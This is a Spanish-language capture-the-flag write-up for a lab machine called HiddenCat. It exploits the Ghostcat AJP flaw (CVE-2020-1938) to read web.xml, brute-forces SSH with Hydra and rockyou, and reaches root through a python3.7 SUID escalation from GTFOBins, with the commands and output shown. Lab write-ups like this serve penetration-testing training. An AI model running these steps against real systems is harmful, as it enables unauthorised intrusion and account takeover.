

14. Máquina: HiddenCat (Fácil)

1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
 - Comando:** `nmap -sVC 172.17.0.2 -Pn`
 - Resultado:** Se encontraron los servicios SSH, AJP13 (interesante a investigar) y HTTP abiertos.

2. Investigación del servicio AJP13:

- Buscando información sobre el servicio **AJP13**, hemos encontrado el siguiente recurso: [Pentesting Apache JServ Protocol](#), donde se comenta que hay un exploit que aprovecha una vulnerabilidad cuando este servicio está abierto:

CVE-2020-1938 'Ghostcat'

Si el puerto AJP está expuesto, Tomcat podría ser susceptible a la vulnerabilidad Ghostcat. Aquí hay un [exploit](#) que funciona con este problema.



Ghostcat es una vulnerabilidad de LFI, pero algo restringida: solo se pueden extraer archivos de una cierta ruta. Aún así, esto puede incluir archivos como `WEB-INF/web.xml` que pueden filtrar información importante como credenciales para la interfaz de Tomcat, dependiendo de la configuración del servidor.

3. Ejecución Vulnerabilidad Ghostcat

- Como nos documentan, si el servicio AJP está expuesto, este podría ser vulnerable al exploit indicado, extrayendo archivos de cierta ruta, como puede ser `WEB-INF/web.xml`, que nos puede proporcionar información útil del servidor Tomcat. Descargamos y ejecutamos el exploit con los parámetros necesarios:
 - Comando:** `python2.7 48143.py -p 8009 -f /WEB-INF/web.xml 172.17.0.2`
 - Resultado:** Hemos podido obtener información sobre el archivo `/WEB-INF/web.xml`, el cual en su descripción nos proporciona un nombre de usuario (**jerry**): `Welcome to Tomcat, Jerry ;)`.

```
(root@kali)-[/home/kali/Downloads]
# python2.7 48143.py -p 8009 -f /WEB-INF/web.xml 172.17.0.2
Getting resource at ajp13://172.17.0.2:8009/asdf
-----
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements.  See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License.  You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
    http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">
  <display-name>Welcome to Tomcat</display-name>
  <description>
    Welcome to Tomcat, Jerry ;)
  </description>
</web-app>
```

4. Ataque de fuerza bruta con Hydra:

- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta **Hydra** utilizando el nombre de usuario **jerry**, encontrado usando la vulnerabilidad Ghostcat sobre el servicio AJP y las contraseñas de rockyou.txt.
 - Comando:** `hydra -l jerry-P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh`
 - Resultado:** Se encontró la contraseña "chocolate" para el usuario "jerry".

```
(root@kali)-[/home/kali/Downloads]
# hydra -l jerry -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
hics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-27 08:13:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: jerry password: chocolate
1 of 1 target successfully completed, 1 valid password found
```

• 5. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas.

- **Comando:** `ssh jerry@172.17.0.2`

- **Resultado:** Nos encontramos dentro del usuario *jerry* en la máquina víctima (ingresando password *chocolate*)


• 6. Verificación de permisos del usuario:

- Verificamos los permisos del usuario Jerry, pero *sudo* no está disponible así que usaremos *SUID*.

- **Comando:** `find / -perm -4000 2>/dev/null`

- **Resultado:** El usuario Jerry tiene permisos para ejecutar binarios diferentes binarios, entre ellos *python3.7*, aprovecharemos este.

• 7. Escalado de Privilegios para Jerry:

- Habiendo observado que jerry puede ejecutar binarios en Python3.7, buscamos un exploit en *python3.7* para realizar la escalada de privilegios en  [GTFOBins](https://gtfobins.github.io/).

- **Comando:** SUID: `/usr/bin/python3.7 -c 'import os; os.execl("/bin/bash", "bash", "-p")'`

- **Resultado:** Ejecutamos el comando y obtenemos acceso como usuario root en la máquina víctima desde el usuario Jerry con máximos privilegios. ¡Fin de la resolución de la máquina!

```
jerry@90680ebc1559:/$ /usr/bin/python3.7 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
bash-5.0# whoami
root
bash-5.0# ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
bash-5.0# cd root/
bash-5.0# ls
bash-5.0# xDaliK
bash: xDaliK: command not found
bash-5.0# cd ..
bash-5.0# script /dev/null -c bash
Script started, file is /dev/null
jerry@90680ebc1559:/$ cd ..
jerry@90680ebc1559:/$ ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
jerry@90680ebc1559:/$ cd root/
bash: cd: root/: Permission denied
```